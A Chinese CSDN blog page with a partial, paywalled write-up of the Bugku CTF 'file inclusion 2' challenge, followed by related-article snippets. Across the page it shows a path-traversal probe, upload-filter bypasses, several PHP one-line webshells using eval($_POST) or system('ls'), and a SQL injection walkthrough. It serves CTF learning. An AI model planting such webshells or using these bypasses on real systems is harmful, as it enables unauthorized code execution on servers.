Bugku Web CTF-文件包含2

最新推荐文章于 2024-04-14 20:49:15 发布
最新推荐文章于 2024-04-14 20:49:15 发布
阅读量461 收藏 1
点赞数
分类专栏： web ctf
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/saislanti/article/details/103779574
版权
本文探讨了Bugku Web CTF中的文件包含2挑战，详细介绍了利用文件上传功能结合特定后缀绕过限制，以及在遇到命令执行无效时如何通过其他方式获取flag文件的内容。尽管成功上传了一句话木马，但直接执行命令才能显示结果，作者对此现象感到困惑。
摘要由CSDN通过智能技术生成

Bugku Web CTF-文件包含2

打开是一个页面，题目提示是文件包含，url的格式也很典型：

http://123.206.31.85:49166/index.php?file=hello.php

尝试最简单的思路http://123.206.31.85:49166/index.php?file=../../../../../../../../../etc/pass，然后页面显示大字NAIVE!!!!…
直接右键查看网页源码，发现注释upload.php，打开该页面发现是一个文件上传功能，并且对上传的文件后缀有要求，此处直接修改文件后缀为.jpg即可成功，或者将文件后缀修改为.php;.jpg也可。
此时学习了一下一句话木马比如：

<?=eval($_POST['cmd'])
最低0.47元/天 解锁文章
河鱼不高兴
关注
专栏目录
BugKuCTF套路满满的题--------文件包含2
qq_42133828的博客
12-24 1703
首先讲一下这道题的思路，文件包含，什么是文件包含？其实简单来说就是通过一个文件传入参数（构造语句）去访问另一个文件，从而得到你所想要的东西。 然而，这道题，除了文件包含的知识。还涉及到了文件上传的知识。毕竟，这两者总是相互存在在。。。。。 好了，接下来，开始解题： 首先进入的界面是一个欢迎界面，看URL里的参数得有一个参数file，查看源码可得有upload.php这个文件存在，那么改一下f...
bugku 文件包含2
hintll的博客
06-17 483
bugku 文件包含2 这个题启动环境五个金币，交flag给四个金币 直接开环境： 猜测是不是上传口被隐藏了 去看看源码： 有意外收获，提示了一个upload.php的文件 直接访问 找到上传口 那就传文件: 回显上传的文件不符合格式 只能上传图片格式的文件 那就该后缀名上传，然后再抓包改回来： 放包后还是一样的回显，那就应该是后端过滤 去路径下看一下： 发现php并没有解析，而且还将php语言的格式开头过滤了 那就绕过php的语言格式头试一下 上传后去路径下看一下： 是个空白的页面 尝试
[bugku]-文件包含2
weixin_52116519的博客
03-31 1053
考点：通过文件包含的方式读取其他目录下的文件按 1、查看源码，发现hint 2、文件上传点 3、上传1.png文件，抓包，修改内容为一句话木马 4、访问上传文件名，发现有过滤 5、绕过过滤，上传一句话木马 6、访问上传文件名，输出a，说明上传成功。接着getshell即可。 ...
bugkuctf解题-WEB
05-04
常见的攻击方式包括SQL注入、XSS（跨站脚本攻击）、CSRF（跨站请求伪造）、文件包含漏洞、命令注入等。对于这些攻击，我们需要了解它们的工作原理和防御措施。 1. SQL注入：当用户输入的数据未经有效过滤或转义就...
Bugku Web CTF-sql注入2
No Title
01-14 711
这道题过滤了许多关键字，包括但不限于select、union、and、or等，还有许多符号比如注释符--，,、#等（需要注意的是这里的过滤是指针对uname字段的过滤）。 一开始没什么思路，于是参考网上其他人写的wp，发现主要集中于以下两种解法： 用扫描工具扫出存在的漏洞，即.DS_STORE泄漏问题，然后获取对应的文件目录，可以看到目录下有flag文件。 灵光一闪，直接猜出目录下有admin或...
Bugku Web CTF-flag在Index里
No Title
12-09 960
Bugku Web CTF-flag在Index里 查看网页源码。 <html> <title>Bugku-ctf</title> <a href="./index.php?file=show.php">click me? no</a></html> 观察URL的格式，让人联想到文件包含漏洞。然而并没有看到...
BugkuCTF-WEB题文件上传
am_03的博客
09-08 1934
启动场景 发现是文件上传 只能上传图像，不能上传PHP文件，那应该是寻找漏洞上传PHP文件 PHP文件里写入一句话木马 <?php @eval($_POST[caidao]);?> 使用burp抓包，不断尝试发现发现需要修改的地方有三个： 一个是http head里的Content-Type: multipart/form-data; 请求头部的 Content-Type 内容 随便改个大写字母过滤掉 比如 mulTipart/form-data （其t为大写） Multipart里的部分字母
bugku-web-文件包含2
最新发布
qq_75121443的博客
04-14 410
啧啧啧，怎么说呢，这题出的挺诡异的，本来是考文件包含，结果不伦不类。这里试探结束，开始配合文件包含漏洞，上传图片。上传一个脚本，将图片后缀改为php。这就很离谱，上传的一句话居然用不了。提示是这个文件,访问这个文件。测试后后台为linux系统。各种绕过手法使用后无法绕过。上传成功，文件包含后发现。看到了第一行有一个注释。
bugku-Web 文件包含2
Sea_Sand息禅
12-15 528
打开网页查看源代码，在最上面发现upload.php，于是我们就访问这个文件：http://123.206.31.85:49166/index.php?file=upload.php 发现是让我们上传文件，然而，我们上传了并没什么用，但是下面说出了文件的位置。 这里我们构造一个文件再上传 创建一个文本文件并输入：<script language=php>system("ls")&...
Bugku WEB 文件包含2
qq_41696858的博客
07-21 252
和包含1的2解法基本上一模一样，多文件后缀加菜刀可解，就记几个新加的点吧 <?php?>被过滤，可以考虑用<?=?>或者 <script language=php></script>代替 菜刀直接连接会被拒绝，需要通过文件包含的路径去间接访问，可能是对upload设置了权限，不允许外部访问，也就是菜刀输路径的时候要形如index.php？file=这样去访问 忘了看源码就提交flag了，有兴趣的看一下upload.php的源码，相信会更清楚一点 参考视频链接：
bugku ctf 文件包含2
qq_42777804的博客
08-08 4069
首先进去网站 发现是这么个东西       没有思路   只好右键查看源码   或 F12 发现注释文件upload.php,访问下来到文件上传页面 访问后发现     上传图片界面。。。 之后有两种方法！！！！！！！！！   1.     新建文档写入  &lt;script language=php&gt;system("ls")&lt;/script&gt;...
四十、BUGKU文件包含2
山兔的博客
09-13 259
打开网站没有看到什么东西，F12看到网站的html，在其中很明显有着一行代码，upload.php，我们有理由怀疑是文件上传。在查看一下源代码， view-source:http://114.67.246.176:12173/ index.php?file=hello.php ，没发现什么有意思的东西。 换一个域名访问，http://114.67.246.176:12173/index.php?file=upload.php，发现是一个文件上传的网站。 上传一句话木马的.jpg图片，内容为<?php
bugku---文件包含2（二次渲染）
LuckySec
11-30 3823
题目 http://123.206.31.85:49166/ 首先查看源码可以发现隐藏的文件名 我们访问该文件地址 我们上传一张图片马， 构造代码为 &amp;amp;amp;amp;lt;script language=php&amp;amp;amp;amp;gt;system(“ls”)&amp;amp;amp;amp;lt;/script&amp;amp;amp;amp;gt; 一开始我只是构造了一张普通的的图片马，进行上传 上传后页面可以看
Bugku：web 文件包含2
qq_26961571的博客
09-10 279
打开这道题，到了文件包含时刻！ ​ 打开链接看看 什么都没有啊，看看源代码 只有在第一行有提示，upload.php界面，看来需要进去看看了。 果不其然 需要上传文件，我们乖乖听话的话会怎么样呢？随便上传一个 然后呢？？ 就是一个普通的图像，那么只有借助网络的力量，看看怎么做了。 网上大神说 <script language=php>system("ls")</script> 这句话保存为jpg格式上传就可以，是图...
bugku ctf sqli-0x1题解
03-23
bugku ctf是一个CTF（Capture The Flag）比赛平台，提供各种类型的安全挑战题目供参赛者解答。sqli-0x1是其中一个SQL注入题目，下面是该题目的解题思路： 1. 题目描述：sqli-0x1是一个简单的SQL注入题目，要求获取数据库中的某个表的内容。 2. 分析注入点：首先，我们需要找到注入点。可以通过在输入框中输入一些特殊字符（如'、"、;等）来尝试触发SQL注入。如果页面返回异常或者显示不正常，那么很可能存在注入点。 3. 判断注入类型：确定注入点后，我们需要判断注入类型。可以通过在输入框中输入一些测试语句（如' or 1=1--）来判断是否存在注入漏洞。如果页面返回正常，那么很可能存在注入漏洞。 4. 获取数据库信息：一旦确认存在注入漏洞，我们可以通过构造合适的SQL语句来获取数据库信息。可以使用UNION SELECT语句来获取表的列数和列名，然后使用SELECT语句获取表的内容。 5. 构造SQL语句：根据题目要求，我们需要获取某个表的内容。可以使用如下语句来获取表的内容： SELECT column_name FROM information_schema.columns WHERE table_name='表名'; SELECT * FROM 表名; 6. 获取结果：根据构造的SQL语句，将其作为输入发送给服务器，获取返回的结果。根据返回的结果，我们可以得到表的列数、列名和表的内容。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值